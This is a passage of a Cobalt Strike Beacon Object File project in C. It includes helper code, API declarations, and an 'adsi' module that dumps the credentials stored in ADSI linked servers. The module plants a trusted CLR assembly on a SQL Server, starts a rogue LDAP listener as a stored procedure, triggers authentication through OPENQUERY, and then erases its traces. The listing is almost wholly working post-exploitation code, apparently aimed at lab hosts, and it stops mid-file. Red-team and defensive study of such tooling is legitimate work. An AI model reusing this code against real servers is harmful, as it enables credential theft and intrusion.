just transfer what's left 60 | { 61 | transfersize = buffersize; 62 | } 63 | memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer 64 | currentoutsize += transfersize; 65 | //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer 66 | if(currentoutsize == bufsize) 67 | { 68 | printoutput(FALSE); // sets currentoutsize to 0 and prints 69 | } 70 | memset(transferBuffer, 0, transfersize); // reset our transfer buffer 71 | curloc += transfersize; // increment by how much data we just wrote 72 | buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall 73 | } 74 | } 75 | intFree(intBuffer); 76 | intFree(transferBuffer); 77 | } 78 | 79 | void printoutput(BOOL done) 80 | { 81 | 82 | char * msg = NULL; 83 | BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize); 84 | currentoutsize = 0; 85 | memset(output, 0, bufsize); 86 | if(done) {MSVCRT$free(output); output=NULL;} 87 | } 88 | #else 89 | #define internal_printf printf 90 | #define printoutput 91 | #define bofstart 92 | #endif 93 | 94 | // Changes to address issue #65. 95 | // We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable. 96 | // To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one 97 | // Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer. 98 | // Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself 99 | // If you must then free it after bofstop is called 100 | #ifdef DYNAMIC_LIB_COUNT 101 | 102 | 103 | typedef struct loadedLibrary { 104 | HMODULE hMod; // mod handle 105 | const char * name; // name normalized to uppercase 106 | }loadedLibrary, *ploadedLibrary; 107 | loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0}; 108 | DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0; 109 | 110 | BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget) 111 | { 112 | BOOL bmatch = FALSE; 113 | DWORD pos = 0; 114 | while(szLibrary[pos] && sztarget[pos]) 115 | { 116 | if(szLibrary[pos] != sztarget[pos]) 117 | { 118 | goto end; 119 | } 120 | pos++; 121 | } 122 | if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match 123 | {goto end;} 124 | bmatch = TRUE; 125 | 126 | end: 127 | return bmatch; 128 | } 129 | 130 | //GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions 131 | // 132 | // DynamicLoad 133 | // Retrieves a function pointer given the BOF library-function name 134 | // szLibrary - The library containing the function you want to load 135 | // szFunction - The Function that you want to load 136 | // Returns a FARPROC function pointer if successful, or NULL if lookup fails 137 | // 138 | FARPROC DynamicLoad(const char * szLibrary, const char * szFunction) 139 | { 140 | FARPROC fp = NULL; 141 | HMODULE hMod = NULL; 142 | DWORD i = 0; 143 | DWORD liblen = 0; 144 | for(i = 0; i < loadedLibrariesCount; i++) 145 | { 146 | if(intstrcmp(szLibrary, loadedLibraries[i].name)) 147 | { 148 | hMod = loadedLibraries[i].hMod; 149 | } 150 | } 151 | if(!hMod) 152 | { 153 | hMod = LoadLibraryA(szLibrary); 154 | if(!hMod){ 155 | BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary); 156 | return NULL; 157 | } 158 | loadedLibraries[loadedLibrariesCount].hMod = hMod; 159 | loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop 160 | loadedLibrariesCount++; 161 | } 162 | fp = GetProcAddress(hMod, szFunction); 163 | 164 | if (NULL == fp) 165 | { 166 | BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction); 167 | } 168 | return fp; 169 | } 170 | #endif 171 | 172 | 173 | char* Utf16ToUtf8(const wchar_t* input) 174 | { 175 | int ret = Kernel32$WideCharToMultiByte( 176 | CP_UTF8, 177 | 0, 178 | input, 179 | -1, 180 | NULL, 181 | 0, 182 | NULL, 183 | NULL 184 | ); 185 | 186 | char* newString = (char*)intAlloc(sizeof(char) * ret); 187 | 188 | ret = Kernel32$WideCharToMultiByte( 189 | CP_UTF8, 190 | 0, 191 | input, 192 | -1, 193 | newString, 194 | sizeof(char) * ret, 195 | NULL, 196 | NULL 197 | ); 198 | 199 | if (0 == ret) 200 | { 201 | goto fail; 202 | } 203 | 204 | retloc: 205 | return newString; 206 | /*location to free everything centrally*/ 207 | fail: 208 | if (newString){ 209 | intFree(newString); 210 | newString = NULL; 211 | }; 212 | goto retloc; 213 | } 214 | 215 | //release any global functions here 216 | void bofstop() 217 | { 218 | #ifdef DYNAMIC_LIB_COUNT 219 | DWORD i; 220 | for(i = 0; i < loadedLibrariesCount; i++) 221 | { 222 | FreeLibrary(loadedLibraries[i].hMod); 223 | } 224 | #endif 225 | return; 226 | } 227 | 228 | void InitRandomSeed() 229 | { 230 | MSVCRT$srand((unsigned int)MSVCRT$time(NULL)); 231 | } 232 | 233 | // 234 | // Helper func to generate random strings for prodecure names, etc 235 | // 236 | char* GenerateRandomString(int length) 237 | { 238 | char* result = (char*)intAlloc(length + 1); 239 | for (int i = 0; i < length; i++) 240 | { 241 | result[i] = (char)(MSVCRT$rand() % 26 + 97); 242 | } 243 | result[length] = '\0'; 244 | return result; 245 | } -------------------------------------------------------------------------------- /src/common/bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen) 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #ifdef _WIN32 23 | #define STDCALL __stdcall 24 | #else 25 | #define STDCALL 26 | #endif 27 | 28 | #ifdef BOF 29 | 30 | // KERNEL32 31 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); 32 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 33 | WINBASEAPI int WINAPI Kernel32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); 34 | WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID); 35 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 36 | WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 37 | WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); 38 | 39 | 40 | #define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) 41 | #define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) 42 | 43 | // MSVCRT 44 | WINBASEAPI int __cdecl MSVCRT$atoi(const char *_Str); 45 | WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); 46 | WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); 47 | WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T); 48 | WINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount); 49 | WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); 50 | WINBASEAPI int __cdecl MSVCRT$rand(void); 51 | WINBASEAPI int __cdecl MSVCRT$srand(unsigned int _Seed); 52 | WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...); 53 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source); 54 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2); 55 | WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); 56 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strncat(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count); 57 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strncpy(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count); 58 | WINBASEAPI time_t __cdecl MSVCRT$time(time_t *_Time); 59 | WINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg); 60 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src); 61 | 62 | #define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) 63 | 64 | // ODBC32 65 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLAllocHandle(SQLSMALLINT HandleType, SQLHANDLE InputHandle, SQLHANDLE* OutputHandlePtr); 66 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLCloseCursor(SQLHSTMT StatementHandle); 67 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLDescribeCol(SQLHSTMT StatementHandle, SQLUSMALLINT ColumnNumber, SQLCHAR* ColumnName, SQLSMALLINT BufferLength, SQLSMALLINT* NameLengthPtr, SQLSMALLINT* DataTypePtr, SQLULEN* ColumnSizePtr, SQLSMALLINT* DecimalDigitsPtr, SQLSMALLINT* NullablePtr); 68 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLDisconnect(SQLHDBC ConnectionHandle); 69 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLDriverConnect(SQLHDBC ConnectionHandle, SQLHWND WindowHandle, SQLCHAR* InConnectionString, SQLSMALLINT StringLength1, SQLCHAR* OutConnectionString, SQLSMALLINT BufferLength, SQLSMALLINT* StringLength2Ptr, SQLUSMALLINT DriverCompletion); 70 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLExecDirect(SQLHSTMT StatementHandle, SQLCHAR* StatementText, SQLINTEGER TextLength); 71 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLFetch(SQLHSTMT StatementHandle); 72 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLFreeHandle(SQLSMALLINT HandleType, SQLHANDLE Handle); 73 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLGetData(SQLHSTMT StatementHandle, SQLUSMALLINT ColumnNumber, SQLSMALLINT TargetType, SQLPOINTER TargetValuePtr, SQLLEN BufferLength, SQLLEN* StrLen_or_IndPtr); 74 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLGetDiagRec(SQLSMALLINT HandleType, SQLHANDLE Handle, SQLSMALLINT RecNumber, SQLCHAR* Sqlstate, SQLINTEGER* NativeErrorPtr, SQLCHAR* MessageText, SQLSMALLINT BufferLength, SQLSMALLINT* TextLengthPtr); 75 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLNumResultCols(SQLHSTMT StatementHandle, SQLSMALLINT* ColumnCountPtr); 76 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLMoreResults(SQLHSTMT StatementHandle); 77 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLSetEnvAttr(SQLHENV EnvironmentHandle, SQLINTEGER Attribute, SQLPOINTER ValuePtr, SQLINTEGER StringLength); 78 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLSetStmtAttr(SQLHSTMT StatementHandle, SQLINTEGER Attribute, SQLPOINTER Value, SQLINTEGER StringLength); 79 | 80 | //WS2_32 81 | WINBASEAPI int STDCALL WS2_32$closesocket(SOCKET s); 82 | WINBASEAPI u_short STDCALL WS2_32$htons(u_short hostshort); 83 | WINBASEAPI int STDCALL WS2_32$inet_pton(int af, const char *src, void *dst); 84 | WINBASEAPI int STDCALL WS2_32$recvfrom(SOCKET s, char *buf, int len, int flags, struct sockaddr *from, int *fromlen); 85 | WINBASEAPI int STDCALL WS2_32$sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen); 86 | WINBASEAPI int STDCALL WS2_32$setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen); 87 | WINBASEAPI int STDCALL WS2_32$socket(int af, int type, int protocol); 88 | WINBASEAPI int STDCALL WS2_32$WSACleanup(); 89 | WINBASEAPI int STDCALL WS2_32$WSAGetLastError(); 90 | WINBASEAPI int STDCALL WS2_32$WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData); 91 | 92 | #else 93 | 94 | #define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) 95 | #define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) 96 | #define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) 97 | 98 | // KERNEL32 99 | #define KERNEL32$CloseHandle CloseHandle 100 | #define KERNEL32$CreateThread CreateThread 101 | #define Kernel32$WideCharToMultiByte WideCharToMultiByte 102 | #define KERNEL32$HeapFree HeapFree 103 | #define KERNEL32$GetProcessHeap GetProcessHeap 104 | #define KERNEL32$HeapAlloc HeapAlloc 105 | #define KERNEL32$WaitForSingleObject WaitForSingleObject 106 | 107 | 108 | // MSVCRT 109 | #define MSVCRT$atoi atoi 110 | #define MSVCRT$calloc calloc 111 | #define MSVCRT$free free 112 | #define MSVCRT$malloc malloc 113 | #define MSVCRT$memcpy memcpy 114 | #define MSVCRT$memset memset 115 | #define MSVCRT$rand rand 116 | #define MSVCRT$srand srand 117 | #define MSVCRT$sprintf sprintf 118 | #define MSVCRT$strcat strcat 119 | #define MSVCRT$strcmp strcmp 120 | #define MSVCRT$strlen strlen 121 | #define MSVCRT$strncat strncat 122 | #define MSVCRT$strncpy strncpy 123 | #define MSVCRT$time time 124 | #define MSVCRT$vsnprintf vsnprintf 125 | #define MSVCRT$strcpy strcpy 126 | 127 | // ODBC32 128 | #define ODBC32$SQLAllocHandle SQLAllocHandle 129 | #define ODBC32$SQLCloseCursor SQLCloseCursor 130 | #define ODBC32$SQLDescribeCol SQLDescribeCol 131 | #define ODBC32$SQLDisconnect SQLDisconnect 132 | #define ODBC32$SQLDriverConnect SQLDriverConnect 133 | #define ODBC32$SQLExecDirect SQLExecDirect 134 | #define ODBC32$SQLFetch SQLFetch 135 | #define ODBC32$SQLFreeHandle SQLFreeHandle 136 | #define ODBC32$SQLGetData SQLGetData 137 | #define ODBC32$SQLGetDiagRec SQLGetDiagRec 138 | #define ODBC32$SQLNumResultCols SQLNumResultCols 139 | #define ODBC32$SQLMoreResults SQLMoreResults 140 | #define ODBC32$SQLSetEnvAttr SQLSetEnvAttr 141 | #define ODBC32$SQLSetStmtAttr SQLSetStmtAttr 142 | 143 | //WS2_32 144 | #define WS2_32$closesocket closesocket 145 | #define WS2_32$htons htons 146 | #define WS2_32$inet_pton inet_pton 147 | #define WS2_32$recvfrom recvfrom 148 | #define WS2_32$sendto sendto 149 | #define WS2_32$setsockopt setsockopt 150 | #define WS2_32$socket socket 151 | #define WS2_32$WSACleanup WSACleanup 152 | #define WS2_32$WSAGetLastError WSAGetLastError 153 | #define WS2_32$WSAStartup WSAStartup 154 | 155 | #endif 156 | -------------------------------------------------------------------------------- /src/SQL/adsi/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "ldapserver.h" 4 | #include "base.c" 5 | #include "sql.c" 6 | #include "sql_modules.c" 7 | #include "sql_clr.c" 8 | 9 | typedef struct ThreadData { 10 | SQLHSTMT stmt; 11 | char* function; 12 | char* port; 13 | char* link; 14 | char* impersonate; 15 | } ThreadData; 16 | 17 | 18 | void* RunThreadedQuery(LPVOID threadData) { 19 | ThreadData* data = (ThreadData*)threadData; 20 | 21 | char* prefix = "SELECT dbo."; 22 | char* middle = "("; 23 | char* suffix = ");"; 24 | 25 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(data->function) + MSVCRT$strlen(middle) + MSVCRT$strlen(data->port) + MSVCRT$strlen(suffix) + 1; 26 | char* query = (char*)intAlloc(totalSize); 27 | 28 | MSVCRT$strcpy(query, prefix); 29 | MSVCRT$strncat(query, data->function, totalSize - MSVCRT$strlen(query) - 1); 30 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 31 | MSVCRT$strncat(query, data->port, totalSize - MSVCRT$strlen(query) - 1); 32 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 33 | 34 | HandleQuery(data->stmt, (SQLCHAR*)query, data->link, data->impersonate, FALSE); 35 | 36 | intFree(query); 37 | } 38 | 39 | void DumpAdsiCreds(char* server, char* database, char* link, char* impersonate, char* adsiServer, char* port) 40 | { 41 | SQLHENV env = NULL; 42 | SQLHSTMT stmt = NULL; 43 | SQLHDBC dbc = NULL; 44 | SQLRETURN ret; 45 | 46 | // 47 | // non-standard, for the duplicate connection 48 | // 49 | SQLHENV env2 = NULL; 50 | SQLHSTMT stmt2 = NULL; 51 | SQLHDBC dbc2 = NULL; 52 | char* trigger = NULL; 53 | 54 | InitRandomSeed(); 55 | char* dllPath = GenerateRandomString(8); 56 | char* function = GenerateRandomString(8); 57 | char* assemblyName = "ldapServer"; 58 | 59 | if (link == NULL) 60 | { 61 | dbc = ConnectToSqlServer(&env, server, database); 62 | } 63 | else 64 | { 65 | dbc = ConnectToSqlServer(&env, server, NULL); 66 | } 67 | 68 | if (dbc == NULL) { 69 | goto END; 70 | } 71 | 72 | if (link == NULL) 73 | { 74 | internal_printf("[*] Obtaining ADSI credentials for \"%s\" on %s\n\n", adsiServer, server); 75 | } 76 | else 77 | { 78 | internal_printf("[*] Obtaining ADSI credentials for \"%s\" on %s via %s\n\n", adsiServer, link, server); 79 | } 80 | // 81 | // allocate statement handle 82 | // 83 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 84 | if (!SQL_SUCCEEDED(ret)) { 85 | internal_printf("[!] Failed to allocate statement handle\n"); 86 | goto END; 87 | } 88 | 89 | // 90 | // verify that xp_cmdshell is enabled 91 | // 92 | if (IsModuleEnabled(stmt, "clr enabled", link, impersonate)) 93 | { 94 | internal_printf("[*] CLR is enabled\n"); 95 | } 96 | else 97 | { 98 | internal_printf("[!] CLR is not enabled\n"); 99 | goto END; 100 | } 101 | 102 | // 103 | // close the cursor 104 | // 105 | ret = ODBC32$SQLCloseCursor(stmt); 106 | if (!SQL_SUCCEEDED(ret)) { 107 | internal_printf("[!] Failed to close cursor\n"); 108 | goto END; 109 | } 110 | 111 | // 112 | // if using linked server, ensure rpc is enabled 113 | // 114 | if (link != NULL) 115 | { 116 | if (IsRpcEnabled(stmt, link)) 117 | { 118 | internal_printf("[*] RPC out is enabled\n"); 119 | } 120 | else 121 | { 122 | internal_printf("[!] RPC out is not enabled\n"); 123 | goto END; 124 | } 125 | 126 | // 127 | // close the cursor 128 | // 129 | ret = ODBC32$SQLCloseCursor(stmt); 130 | if (!SQL_SUCCEEDED(ret)) { 131 | internal_printf("[!] Failed to close cursor\n"); 132 | goto END; 133 | } 134 | } 135 | 136 | // 137 | // Check if the assembly hash already exists in sys.trusted_assemblies 138 | // and drop it if it does 139 | // 140 | if (AssemblyHashExists(stmt, LDAP_DLL_HASH, link, impersonate)) 141 | { 142 | internal_printf("[!] Assembly hash already exists in sys.trusted_assesmblies\n"); 143 | internal_printf("[*] Dropping existing assembly hash before continuing\n"); 144 | 145 | // 146 | // Close the cursor 147 | // 148 | ret = ODBC32$SQLCloseCursor(stmt); 149 | if (!SQL_SUCCEEDED(ret)) { 150 | internal_printf("[!] Failed to close cursor\n"); 151 | goto END; 152 | } 153 | 154 | if (!DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate)) 155 | { 156 | internal_printf("[!] Failed to drop existing assembly hash\n"); 157 | goto END; 158 | } 159 | } 160 | else 161 | { 162 | // 163 | // Close the cursor 164 | // 165 | ret = ODBC32$SQLCloseCursor(stmt); 166 | if (!SQL_SUCCEEDED(ret)) { 167 | internal_printf("[!] Failed to close cursor\n"); 168 | goto END; 169 | } 170 | } 171 | 172 | // 173 | // Add the DLL to sys.trusted_assemblies 174 | // 175 | if (!AddTrustedAssembly(stmt, dllPath, LDAP_DLL_HASH, link, impersonate)) 176 | { 177 | internal_printf("[!] Failed to add trusted assembly\n"); 178 | goto END; 179 | } 180 | 181 | internal_printf("[*] Added SHA-512 hash for DLL to sys.trusted_assemblies with the name \"%s\"\n", dllPath); 182 | 183 | // 184 | // Ensure procedure and assembly names do not already exist 185 | // 186 | if (!DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate)) 187 | { 188 | internal_printf("[!] Failed to drop existing assembly and procedure\n"); 189 | goto END; 190 | } 191 | 192 | // 193 | // Create the custom assembly 194 | // 195 | internal_printf("[*] Creating new LDAP server assembly with the name \"%s\"\n", assemblyName); 196 | CreateAssembly(stmt, assemblyName, LDAP_DLL_BYTES, link, impersonate); 197 | 198 | // 199 | // Verify that the assembly exists before we continue 200 | // 201 | if (!AssemblyExists(stmt, assemblyName, link, impersonate)) 202 | { 203 | internal_printf("[!] Failed to create custom assembly\n"); 204 | internal_printf("[*] Cleaning up...\n"); 205 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 206 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 207 | goto END; 208 | } 209 | 210 | // 211 | // Create the stored procedure 212 | // 213 | internal_printf("[*] Loading LDAP server assembly into a new CLR runtime routine \"%s\"\n", function); 214 | CreateAssemblyStoredProc(stmt, assemblyName, function, TRUE, link, impersonate); 215 | 216 | // 217 | // Clear the cursor 218 | // 219 | ClearCursor(stmt); 220 | 221 | // 222 | // Verify that the stored procedure exists before we continue 223 | // 224 | if (!AssemblyFunctionExists(stmt, "ldapAssembly.LdapSrv", link, impersonate)) 225 | { 226 | internal_printf("[!] Unable to load LDAP server assembly into custom CLR runtime routine\n"); 227 | internal_printf("[*] Cleaning up...\n"); 228 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 229 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 230 | goto END; 231 | } 232 | 233 | internal_printf("[*] Created \"[%s].[ldapAssembly.LdapSrv].[%s]\"\n", assemblyName, function); 234 | 235 | // 236 | // Clear the cursor 237 | // 238 | ClearCursor(stmt); 239 | 240 | // 241 | // Now things get interesting, need to create a second connection 242 | // and execute a blocking query in a new thread 243 | // while we trigger auth in the main thread 244 | // 245 | internal_printf("[*] Creating a second connection to the SQL server for threaded query\n"); 246 | if (link == NULL) 247 | { 248 | dbc2 = ConnectToSqlServer(&env2, server, database); 249 | } 250 | else 251 | { 252 | dbc2 = ConnectToSqlServer(&env2, server, NULL); 253 | } 254 | 255 | if (dbc2 == NULL) { 256 | internal_printf("[!] Failed to create second connection\n"); 257 | internal_printf("[*] Cleaning up...\n"); 258 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 259 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 260 | goto END; 261 | } 262 | 263 | // 264 | // Allocate a second statement handle 265 | // 266 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc2, &stmt2); 267 | if (!SQL_SUCCEEDED(ret)) { 268 | internal_printf("[!] Failed to allocate second statement handle\n"); 269 | goto END; 270 | } 271 | 272 | // 273 | // Start the blocking LDAP server query in a new thread 274 | // 275 | internal_printf("[*] Starting a local LDAP server on port %s\n", port); 276 | ThreadData data = { 277 | stmt2, 278 | function, 279 | port, 280 | link, 281 | impersonate 282 | }; 283 | 284 | HANDLE hThread = KERNEL32$CreateThread(NULL, 0, (void*)RunThreadedQuery, &data, 0, NULL); 285 | if (hThread == NULL) 286 | { 287 | internal_printf("[!] Failed to create new thread\n"); 288 | internal_printf("[*] Cleaning up...\n"); 289 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 290 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 291 | goto END; 292 | } 293 | 294 | // 295 | // Trigger auth 296 | // 297 | internal_printf("[*] Executing LDAP solication (this will fire some errors)...\n\n"); 298 | 299 | if (link == NULL) 300 | { 301 | char* part1 = "SELECT * FROM OPENQUERY(\""; 302 | char* part2 = "\", 'SELECT * FROM ''LDAP://localhost:"; 303 | char* part3 = "''')"; 304 | 305 | size_t totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(adsiServer) + MSVCRT$strlen(part2) + MSVCRT$strlen(port) + MSVCRT$strlen(part3) + 1; 306 | trigger = (char*)intAlloc(totalSize); 307 | 308 | MSVCRT$strcpy(trigger, part1); 309 | MSVCRT$strncat(trigger, adsiServer, totalSize - MSVCRT$strlen(trigger) - 1); 310 | MSVCRT$strncat(trigger, part2, totalSize - MSVCRT$strlen(trigger) - 1); 311 | MSVCRT$strncat(trigger, port, totalSize - MSVCRT$strlen(trigger) - 1); 312 | MSVCRT$strncat(trigger, part3, totalSize - MSVCRT$strlen(trigger) - 1); 313 | } 314 | else 315 | { 316 | // 317 | // disgusting. 318 | // 319 | char* part1 = "SELECT * FROM OPENQUERY(\""; 320 | char* part2 = "\", 'SELECT * FROM OPENQUERY(\""; 321 | char* part3 = "\", ''SELECT * FROM ''''LDAP://localhost:"; 322 | char* part4 = "'''''')')"; 323 | 324 | size_t totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(link) + MSVCRT$strlen(part2) + MSVCRT$strlen(adsiServer) + MSVCRT$strlen(part3) + MSVCRT$strlen(port) + MSVCRT$strlen(part4) + 1; 325 | trigger = (char*)intAlloc(totalSize); 326 | 327 | MSVCRT$strcpy(trigger, part1); 328 | MSVCRT$strncat(trigger, link, totalSize - MSVCRT$strlen(trigger) - 1); 329 | MSVCRT$strncat(trigger, part2, totalSize - MSVCRT$strlen(trigger) - 1); 330 | MSVCRT$strncat(trigger, adsiServer, totalSize - MSVCRT$strlen(trigger) - 1); 331 | MSVCRT$strncat(trigger, part3, totalSize - MSVCRT$strlen(trigger) - 1); 332 | MSVCRT$strncat(trigger, port, totalSize - MSVCRT$strlen(trigger) - 1); 333 | MSVCRT$strncat(trigger, part4, totalSize - MSVCRT$strlen(trigger) - 1); 334 | } 335 | 336 | HandleQuery(stmt, (SQLCHAR*)trigger, NULL, impersonate, FALSE); 337 | HandleQuery(stmt, (SQLCHAR*)trigger, NULL, impersonate, FALSE); 338 | 339 | // 340 | // Wait for the thread to finish 341 | // 342 | KERNEL32$WaitForSingleObject(hThread, INFINITE); 343 | KERNEL32$CloseHandle(hThread); 344 | 345 | internal_printf("\n[*] LDAP server thread finished\n\n"); 346 | PrintQueryResults(stmt2, TRUE); 347 | 348 | // 349 | // Cleanup before we exit 350 | // 351 | internal_printf("\n[*] Cleaning up...\n"); 352 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 353 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 354 | 355 | 356 | END: 357 | intFree(dllPath); 358 | intFree(function); 359 | if (trigger != NULL) intFree(trigger); 360 | ODBC32$SQLCloseCursor(stmt); 361 | DisconnectSqlServer(env, dbc, stmt); 362 | if (stmt2 != NULL) ODBC32$SQLCloseCursor(stmt2); 363 | if (dbc2 != NULL) DisconnectSqlServer(env2, dbc2, stmt2); 364 | } 365 | 366 | 367 | #ifdef BOF 368 | VOID go( 369 | IN PCHAR Buffer, 370 | IN ULONG Length 371 | ) 372 | { 373 | char* server; 374 | char* database; 375 | char* link; 376 | char* impersonate; 377 | char* adsiServer; 378 | char* port; 379 | 380 | // 381 | // parse beacon args 382 | // 383 | datap parser; 384 | BeaconDataParse(&parser, Buffer, Length); 385 | server = BeaconDataExtract(&parser, NULL); 386 | database = BeaconDataExtract(&parser, NULL); 387 | link = BeaconDataExtract(&parser, NULL); 388 | impersonate = BeaconDataExtract(&parser, NULL); 389 | adsiServer = BeaconDataExtract(&parser, NULL); 390 | port = BeaconDataExtract(&parser, NULL); 391 | 392 | server = *server == 0 ? "localhost" : server; 393 | database = *database == 0 ? "master" : database; 394 | link = *link == 0 ? NULL : link; 395 | impersonate = *impersonate == 0 ? NULL : impersonate; 396 | 397 | if(!bofstart()) 398 | { 399 | return; 400 | } 401 | 402 | if (UsingLinkAndImpersonate(link, impersonate)) 403 | { 404 | return; 405 | } 406 | 407 | DumpAdsiCreds(server, database, link, impersonate, adsiServer, port); 408 | printoutput(TRUE); 409 | }; 410 | 411 | #else 412 | 413 | int main() 414 | { 415 | internal_printf("============ BASE TEST ============\n\n"); 416 | DumpAdsiCreds("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "ADSIr", "4444"); 417 | 418 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 419 | DumpAdsiCreds("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "ADSIr", "4444"); 420 | 421 | internal_printf("\n\n============ LINK TEST ============\n\n"); 422 | DumpAdsiCreds("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "ADSIEssos", "4444"); 423 | } 424 | 425 | #endif 426 | -------------------------------------------------------------------------------- /src/common/sql_clr.c: -------------------------------------------------------------------------------- 1 | // 2 | // imported by bof entry files utilizing CLR functionality 3 | // include statmenet should be after the sql.c include 4 | // 5 | #include 6 | #include 7 | #include "bofdefs.h" 8 | 9 | BOOL AssemblyHashExists(SQLHSTMT stmt, char* hash, char* link, char* impersonate) 10 | { 11 | BOOL exists = 